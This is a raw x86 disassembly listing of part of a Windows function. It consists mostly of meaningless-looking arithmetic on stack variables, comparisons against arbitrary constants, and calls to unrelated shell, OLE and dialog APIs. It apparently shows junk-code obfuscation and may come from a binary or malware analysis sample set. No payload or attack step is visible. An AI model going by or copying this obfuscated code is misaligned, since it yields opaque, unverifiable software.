mov ecx, dword [ebp - 0x15c]
mov dword [ecx], eax
jmp 0x4c24a7
mov edx, dword [ebp - 0x12cc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1108]
add eax, dword [ecx]
mov edx, dword [ebp - 0x7dc]
add edx, dword [ebp - 0xd64]
cmp eax, edx
jbe 0x4c24a7
lea eax, [ebp - 0xa20]
push eax
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.SHELL32.dll_ILFindChild]
mov dword [ebp - 0xc48], eax
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x1a8], ax
movzx eax, word [ebp - 0xa20]
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
add eax, edx
mov word [0x519008], ax
mov eax, dword [ebp - 0x6cc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x32c]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xa24]
mov byte [edx], cl
movzx eax, word [ebp - 0xa20]
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x8ac], ax
mov eax, dword [ebp - 0xd28]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2e0]
mov edx, dword [ebp - 0x1108]
mov dword [edx], ecx
mov eax, dword [ebp - 0x41c]
mov edx, dword [0x519004]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x710]
add ecx, 0xe0
mov dword [ebp - 0x710], ecx
mov edx, dword [ebp - 0x15c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x9bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ebp - 0xd84]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2e0], edx
mov eax, dword [ebp - 0x9bc]
mov ecx, dword [ebp - 0x108c]
or ecx, dword [eax]
mov dword [ebp - 0x468], ecx
movzx edx, byte [ebp - 0x92d]
mov eax, dword [ebp - 0x32c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x7c2], dl
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x75c]
add eax, ecx
mov word [0x519008], ax
mov edx, dword [ebp - 0x82c]
add edx, dword [ebp - 0x108c]
mov eax, dword [ebp - 0x41c]
mov dword [eax], edx
cmp dword [ebp - 0x710], 0xa2f3
jb 0x4c24a7
movsx ecx, word [0x519d74]
mov dword [ebp - 0x195c], ecx
cmp dword [ebp - 0x195c], 0
je 0x4c25f5
cmp dword [ebp - 0x195c], 0x27c8
je 0x4d12aa
jmp 0x4d132b
movzx edx, word [ebp - 0xa20]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x358]
mov word [eax], dx
movsx ecx, byte [ebp - 0x81]
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x10a1], cl
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xfc0]
sar edx, cl
mov eax, dword [ebp - 0xfa8]
mov word [eax], dx
movzx ecx, word [ebp - 0x10b4]
movzx edx, word [ebp - 0xa20]
or ecx, edx
mov word [0x519008], cx
mov eax, dword [ebp - 0x118]
mov edx, dword [ebp - 0x108c]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x240]
add ecx, 0x63
mov dword [ebp - 0x240], ecx
movzx edx, byte [ebp - 0x7c2]
movzx eax, byte [ebp - 0x92d]
xor edx, eax
mov byte [ebp - 0x665], dl
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x75c]
and edx, eax
mov ecx, dword [ebp - 0x658]
mov word [ecx], dx
mov edx, dword [ebp - 0x18b8]
add edx, dword [ebp - 0xfbc]
mov dword [ebp - 0xd64], edx
mov eax, dword [ebp - 0xb64]
sub eax, dword [section..data]
mov ecx, dword [ebp - 0x3ec]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x9bc]
add eax, dword [ecx]
mov dword [ebp - 0x82c], eax
mov edx, dword [ebp - 0xd28]
mov eax, dword [edx]
add eax, dword [ebp - 0x18b8]
mov ecx, dword [ebp - 0xd28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x75c], ax
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [0x519dfc]
mov word [edx], cx
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xb64]
mov edx, dword [ebp - 0x9bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x82c]
mov dword [ebp - 0x468], ecx
cmp dword [ebp - 0x240], 0x8bde
jne 0x4c2628
mov edx, dword [ebp - 0x320]
mov eax, dword [ebp - 0x2e0]
sub eax, dword [edx]
mov dword [ebp - 0x18b8], eax
cmp dword [ebp - 0x10e0], 0x1b35
jbe 0x4c2b5b
mov edx, dword [ebp - 0xb64]
mov ecx, dword [ebp - 0x82c]
sar edx, cl
mov dword [ebp - 0x108c], edx
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [ebp - 0x9bc]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x468], edx
movsx eax, byte [ebp - 0x10a1]
movsx ecx, byte [ebp - 0xe2d]
or eax, ecx
mov edx, dword [ebp - 0x11bc]
mov byte [edx], al
movsx eax, word [ebp - 0xfc0]
mov ecx, dword [ebp - 0xfa8]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x1a8], ax
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x358]
mov word [eax], dx
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8ac]
add edx, eax
mov word [0x519008], dx
mov ecx, dword [ebp - 0x10e0]
sub ecx, 0x2d
mov dword [ebp - 0x10e0], ecx
mov edx, dword [ebp - 0x12cc]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0xd28]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3ec]
mov eax, dword [ebp - 0x468]
add eax, dword [edx]
mov ecx, dword [ebp - 0x9bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8ac]
sub eax, ecx
mov edx, dword [ebp - 0x358]
mov word [edx], ax
movzx eax, byte [ebp - 0x665]
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x7c2], al
mov eax, dword [ebp - 0xd84]
mov ecx, dword [ebp - 0x18b8]
and ecx, dword [eax]
mov edx, dword [ebp - 0xd28]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x41c]
add ecx, dword [edx]
mov dword [ebp - 0x82c], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x13e8]
mov dword [ebp - 0x468], ecx
mov edx, dword [ebp - 0xd84]
mov eax, dword [ebp - 0xd64]
sub eax, dword [edx]
mov dword [ebp - 0xfbc], eax
movsx edx, word [ebp - 0xfc0]
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x519dfc]
mov word [ecx], dx
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x181c]
mov word [ecx], ax
mov edx, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x13e8]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x3ec]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb64]
xor edx, dword [ebp - 0x82c]
mov dword [ebp - 0x468], edx
movsx eax, byte [ebp - 0x10a1]
movsx ecx, byte [ebp - 0x17d]
and eax, ecx
mov edx, dword [ebp - 0x11bc]
mov byte [edx], al
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xfc0]
add ecx, edx
mov eax, dword [ebp - 0x9a4]
mov word [eax], cx
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
mov ecx, dword [ebp - 0xa24]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x7c2]
sub edx, eax
mov byte [ebp - 0x92d], dl
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0xd28]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xd64], eax
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xfc0]
add edx, eax
mov ecx, dword [0x519dfc]
mov word [ecx], dx
mov edx, dword [ebp - 0x118]
mov eax, dword [edx]
sub eax, dword [0x519004]
mov dword [ebp - 0xb64], eax
mov ecx, dword [ebp - 0x82c]
and ecx, dword [ebp - 0x468]
mov dword [ebp - 0x13e8], ecx
mov edx, dword [ebp - 0x41c]
mov eax, dword [edx]
add eax, dword [ebp - 0x468]
mov dword [ebp - 0x82c], eax
movzx edx, word [0x519008]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x181c]
mov word [ecx], dx
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa24]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x92d], al
mov eax, dword [ebp - 0x320]
mov edx, dword [ebp - 0x7dc]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0xd28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x118]
mov edx, dword [ecx]
or edx, dword [ebp - 0x13e8]
mov dword [ebp - 0x468], edx
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0xb64]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x9bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd84]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x18b8]
mov edx, dword [ebp - 0x1108]
mov dword [edx], ecx
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [0x519dfc]
mov word [edx], cx
movzx eax, word [ebp - 0x75c]
movzx ecx, word [0x519008]
sub eax, ecx
mov edx, dword [ebp - 0xa28]
mov word [edx], ax
movsx eax, word [ebp - 0x1a8]
movsx ecx, word [ebp - 0xfc0]
add eax, ecx
mov edx, dword [ebp - 0xfa8]
mov word [edx], ax
mov eax, dword [ebp - 0x11bc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x10a1]
add ecx, edx
mov eax, dword [ebp - 0x11bc]
mov byte [eax], cl
mov ecx, dword [ebp - 0xd84]
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x82c]
sub ecx, dword [ebp - 0x468]
mov edx, dword [ebp - 0x3ec]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x665]
movzx ecx, byte [ebp - 0x7c2]
add eax, ecx
mov byte [ebp - 0x92d], al
jmp 0x4c278a
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
and edx, ecx
movzx eax, word [ebp - 0x10b4]
movzx ecx, word [ebp - 0xa20]
shl eax, cl
cmp edx, eax
jle 0x4c2bc8
lea ecx, [ebp - 0x80c]
push ecx
call dword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [ebp - 0x13a4], eax
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [0x519dfc]
mov word [ecx], ax
mov edx, dword [ebp - 0xb64]
and edx, dword [ebp - 0x82c]
mov dword [ebp - 0x108c], edx
jmp 0x4d1244
mov eax, dword [ebp - 0x9bc]
mov edx, dword [ebp - 0x108c]
xor edx, dword [eax]
mov eax, dword [ebp - 0x3ec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x82c]
sar eax, cl
cmp edx, eax
jl 0x4d1244
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ecx]
mov dword [ebp - 0x1960], edx
cmp dword [ebp - 0x1960], 0
je 0x4c2c0a
jmp 0x4d1146
mov eax, dword [ebp - 0xd28]
mov edx, dword [ebp - 0x18b8]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0xfbc]
cmp edx, ecx
je 0x4c2d68
mov edx, dword [ebp - 0x13b4]
mov eax, dword [edx]
or eax, dword [ebp - 0xb64]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x118]
mov eax, dword [edx]
mov dword [ebp - 0x1964], eax
cmp dword [ebp - 0x1964], 0x20a3a118
je 0x4c2c75
cmp dword [ebp - 0x1964], 0x62dde29b
je 0x4c2d36
jmp 0x4c2d68
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ebp - 0x18b8]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0xd28]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jne 0x4c2cce
push 0x3f
lea ecx, [ebp - 0xfac]
push ecx
lea edx, [ebp - 0x780]
push edx
call dword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [ebp - 0x13e8], eax
mov eax, dword [ebp - 0x82c]
push eax
mov ecx, dword [ebp - 0x6cc]
movzx edx, byte [ecx]
push edx
call fcn.004ef7c0
add esp, 8
mov eax, dword [0x519dfc]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1a8]
add ecx, edx
mov eax, dword [0x519dfc]
mov word [eax], cx
lea ecx, [ebp - 0x624]
push ecx
push 0x11
lea edx, [ebp - 0xd10]
push edx
call dword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [ebp - 0x6d0], eax
movsx eax, word [ebp - 0x1a8]
movsx ecx, word [0x519d74]
add eax, ecx
mov word [ebp - 0xfc0], ax
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x10a1]
and eax, ecx
mov edx, dword [ebp - 0x11bc]
mov byte [edx], al
jmp 0x4c2d68
movzx eax, byte [ebp - 0x665]
push eax
mov ecx, dword [ebp - 0xd28]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp - 0xfc0]
push eax
mov ecx, dword [ebp - 0x11bc]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x11bc]
movzx ecx, byte [eax]
push ecx
call fcn.00429f50
movzx edx, word [ebp - 0x75c]
movzx eax, word [ebp - 0xa20]
add edx, eax
movzx ecx, word [ebp - 0x10b4]
mov eax, dword [ebp - 0xa28]
movzx eax, word [eax]
sub ecx, eax
cmp edx, ecx
jne 0x4c2da8
lea ecx, [ebp - 0x6d0]
push ecx
push 0xae
push 0x29
call dword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [ebp - 0x348], eax
mov edx, dword [ebp - 0x11bc]
mov al, byte [edx]
mov byte [ebp - 0x1968], al
cmp byte [ebp - 0x1968], 0x46
je 0x4c2dc4
jmp 0x4c2e70
lea ecx, [ebp - 0x1050]
push ecx
lea edx, [ebp - 0x3c0]
push edx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
mov dword [ebp - 0x196c], ecx
cmp dword [ebp - 0x196c], 0x1abb
je 0x4c2e07
cmp dword [ebp - 0x196c], 0x7aa3
je 0x4c2e4e
jmp 0x4c2e6b
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x1108]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0xd28]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0xd64], edx
movzx eax, byte [ebp - 0x7c2]
push eax
mov ecx, dword [ebp - 0x11bc]
movzx edx, byte [ecx]
push edx
call fcn.004d1cd0
jmp 0x4c2e6b
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x658]
mov word [edx], cx
jmp 0x4d10d9
mov al, byte [ebp - 0x7c2]
mov byte [ebp - 0x1970], al
cmp byte [ebp - 0x1970], 0
je 0x4c2e8a
jmp 0x4c2fc5
movzx edx, byte [ebp - 0x665]
mov eax, dword [ebp - 0xa24]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x1360]
mov byte [ecx], dl
movsx edx, word [ebp - 0x1a8]
mov dword [ebp - 0x1974], edx
cmp dword [ebp - 0x1974], 0
je 0x4c2ebf
jmp 0x4c2fad
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax]
mov dword [0x519d90], ecx
mov edx, dword [ebp - 0x13b4]
mov eax, dword [edx]
mov dword [ebp - 0xa1c], eax
movsx eax, byte [ebp - 0xe2d]
movsx ecx, byte [ebp - 0x10a1]
cdq
idiv ecx
mov edx, dword [ebp - 0x11bc]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 0x81]
xor ecx, edx
cmp eax, ecx
jg 0x4c2f75
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0xfbc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x12cc]
mov dword [edx], ecx
mov dword [ebp - 0xa2c], 0x519004
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x468]
sub ecx, dword [eax]
mov dword [ebp - 0x108c], ecx
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x10b4], ax
mov al, byte [ebp - 0x7c2]
mov byte [ebp - 0xdd5], al
mov ecx, dword [ebp - 0xd84]
mov edx, dword [ecx]
and edx, dword [ebp - 0xfbc]
mov eax, dword [ebp - 0xd84]
mov dword [eax], edx
jmp 0x4c2fab
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0xd84]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x7dc]
cmp eax, edx
je 0x4c2fab
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0xa1c]
add ecx, dword [eax]
mov dword [ebp - 0x108c], ecx
jmp 0x4c2fc0
lea edx, [ebp - 0xcc0]
push edx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x3dc], eax
jmp 0x4c30a0
mov eax, dword [0x519d90]
mov dword [ebp - 0x1978], eax
cmp dword [ebp - 0x1978], 0x559c1746
je 0x4c2fe1
jmp 0x4c308e
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1a8]
sub edx, eax
mov ecx, dword [0x519dfc]
mov word [ecx], dx
mov edx, dword [ebp - 0x41c]
mov eax, dword [edx]
add eax, dword [0x519004]
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
sub ecx, dword [edx]
cmp eax, ecx
jl 0x4c3037
mov edx, dword [ebp - 0xa24]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.004d1cd0
jmp 0x4c308c
mov edx, dword [ebp - 0xa2c]
mov eax, dword [ebp - 0x41c]
mov edx, dword [edx]
xor edx, dword [eax]
mov eax, dword [ebp - 0x13e8]
mov ecx, dword [ebp - 0x468]
shl eax, cl
cmp edx, eax
jl 0x4c308c
movsx ecx, byte [ebp - 0xe2d]
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x10a1], cl
movzx edx, word [ebp - 0x75c]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0xa28]
mov word [ecx], dx
jmp 0x4c30a0
push 0xb2
lea edx, [ebp - 0x2e8]
push edx
call dword [sym.imp.SHELL32.dll_SHGetSettings]
mov eax, dword [ebp - 0x1360]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x32c]
movzx eax, byte [edx]
mov edx, dword [ebp - 0xa24]
movzx edx, byte [edx]
sub eax, edx
cmp ecx, eax
jg 0x4c3226
movzx eax, word [ebp - 0x75c]
mov dword [ebp - 0x197c], eax
cmp dword [ebp - 0x197c], 0x84c
je 0x4c3211
cmp dword [ebp - 0x197c], 0xf250
je 0x4c30fe
jmp 0x4c3224
mov ecx, dword [ebp - 0x32c]
mov dl, byte [ecx]
mov byte [ebp - 0xe81], dl
movzx eax, word [0x519008]
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
sub eax, edx
movzx ecx, word [ebp - 0x8ac]
movzx edx, word [ebp - 0x75c]
add ecx, edx
cmp eax, ecx
jg 0x4c31db
movsx eax, word [ebp - 0xfc0]
mov dword [ebp - 0x1980], eax
cmp dword [ebp - 0x1980], 0
je 0x4c314e
jmp 0x4c31be
mov ecx, dword [ebp - 0xd84]
mov edx, dword [ebp - 0x2e0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x320]
mov dword [eax], edx
mov ecx, dword [ebp - 0x82c]
add ecx, dword [ebp - 0x468]
mov dword [ebp - 0x13e8], ecx
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
mov dword [ebp - 0x1090], eax
mov edx, dword [ebp - 0xd64]
mov ecx, dword [ebp - 0x18b8]
shl edx, cl
mov eax, dword [ebp - 0xd84]
mov dword [eax], edx
lea ecx, [ebp - 0xb64]
mov dword [ebp - 0x684], ecx
movzx edx, byte [ebp - 0xe81]
movzx eax, byte [ebp - 0xdd5]
xor edx, eax
mov byte [ebp - 0x92d], dl
jmp 0x4c31d9
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x358]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0xa20], dx
jmp 0x4c320f
mov edx, dword [ebp - 0xa1c]
and edx, dword [section..data]
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x82c]
sub ecx, dword [eax]
cmp edx, ecx
jle 0x4c320f
mov edx, dword [ebp - 0x468]
mov ecx, dword [ebp - 0x82c]
sar edx, cl
mov eax, dword [ebp - 0x118]
mov dword [eax], edx
jmp 0x4c3224
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x13e8], eax
jmp 0x4c325d
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x10a1]
sub eax, ecx
movsx edx, byte [ebp - 0x81]
movsx ecx, byte [ebp - 0xe2d]
add edx, ecx
cmp eax, edx
jne 0x4c325d
mov edx, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x75c]
call fcn.004721c0
mov edx, dword [ebp - 0x18b8]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x13e8]
and eax, dword [ebp - 0x1090]
mov ecx, dword [ebp - 0x684]
mov dword [ecx], eax
mov edx, dword [ebp - 0xfbc]
mov dword [ebp - 0x1984], edx
cmp dword [ebp - 0x1984], 0
je 0x4c32bc
cmp dword [ebp - 0x1984], 0xa81844c4
je 0x4c32a3
jmp 0x4c334b
mov eax, dword [ebp - 0xb64]
add eax, dword [ebp - 0x108c]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
jmp 0x4c334b
mov edx, dword [ebp - 0x320]
mov eax, dword [edx]
mov dword [ebp - 0x1988], eax
cmp dword [ebp - 0x1988], 0
je 0x4c32d5
jmp 0x4c331e
mov ecx, dword [ebp - 0x32c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1360]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xe81], dl
lea edx, [ebp - 0x8ac]
mov dword [ebp - 0xc64], edx
movsx eax, byte [ebp - 0x10a1]
movsx ecx, byte [ebp - 0x17d]
add eax, ecx
mov byte [0x51900a], al
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0xfe4], edx
jmp 0x4c334b
lea eax, [ebp - 0xf14]
push eax
lea ecx, [ebp - 0x7bc]
push ecx
lea edx, [ebp - 0xf00]
push edx
push 0xf6
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0x100], eax
mov ecx, dword [0x519d90]
mov dword [ebp - 0x198c], ecx
cmp dword [ebp - 0x198c], 0x19c24835
je 0x4c33f9
cmp dword [ebp - 0x198c], 0xcb0c7842
je 0x4c3378
jmp 0x4c3473
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xe2d]
sub eax, ecx
mov byte [ebp - 0x17d], al
mov edx, dword [ebp - 0x1108]
mov eax, dword [edx]
sub eax, dword [ebp - 0xd64]
mov ecx, dword [ebp - 0xd84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [edx]
mov dword [ebp - 0x1990], eax
cmp dword [ebp - 0x1990], 0x4659af75
je 0x4c33c2
jmp 0x4c33dd
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ecx]
push edx
movzx eax, byte [ebp - 0xdd5]
push eax
call fcn.004ef7c0
add esp, 8
jmp 0x4c33f7
lea ecx, [ebp - 0xf60]
push ecx
lea edx, [ebp - 0x3c0]
push edx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0x6d0], eax
jmp 0x4c3473
mov eax, dword [ebp - 0xfbc]
mov dword [ebp - 0x1994], eax
cmp dword [ebp - 0x1994], 0xc248a81a
je 0x4c341f
cmp dword [ebp - 0x1994], 0xd7ee3e5c
je 0x4c345c
jmp 0x4c3473
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x1090]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3ec]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [ebp - 0x13e8]
and edx, dword [ecx]
mov eax, dword [ebp - 0x684]
mov ecx, dword [ebp - 0x82c]
add ecx, dword [eax]
cmp edx, ecx
jge 0x4c345a
call fcn.0046d040
jmp 0x4c3473
movzx edx, word [ebp - 0x10b4]
movzx eax, word [ebp - 0x75c]
xor edx, eax
mov word [ebp - 0x8ac], dx
movzx ecx, byte [ebp - 0xe81]
movzx edx, byte [ebp - 0xdd5]
or ecx, edx
mov eax, dword [ebp - 0xa24]
mov byte [eax], cl
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc64]
movzx ecx, word [ecx]
shl eax, cl
movzx edx, word [ebp - 0x8ac]
movzx ecx, word [ebp - 0xa20]
sar edx, cl
cmp eax, edx
jle 0x4c34fd
mov eax, dword [ebp - 0x158]
push eax
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
add edx, dword [ebp - 0xa1c]
mov eax, dword [ebp - 0x9bc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x684]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x181c]
movzx edx, word [ecx]
mov dword [ebp - 0x1998], edx
cmp dword [ebp - 0x1998], 0
je 0x4c3677
cmp dword [ebp - 0x1998], 0xa8c
je 0x4c352a
jmp 0x4d10d4
movzx eax, word [0x519008]
movzx ecx, word [ebp - 0xa20]
sub eax, ecx
mov edx, dword [ebp - 0x658]
movzx ecx, word [edx]
mov edx, dword [ebp - 0x181c]
movzx edx, word [edx]
add ecx, edx
cmp eax, ecx
jl 0x4c3554
jmp 0x4c358c
mov eax, dword [ebp - 0x684]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x13b4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x82c]
sub edx, dword [eax]
cmp ecx, edx
je 0x4c358c
mov eax, dword [ebp - 0x320]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x154]
shr edx, cl
mov dword [ebp - 0x7dc], edx
mov eax, dword [ebp - 0x11bc]
mov cl, byte [eax]
mov byte [ebp - 0x199c], cl
cmp byte [ebp - 0x199c], 0x78
je 0x4c35a5
jmp 0x4c35b8
lea edx, [ebp - 0x12cc]
push edx
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
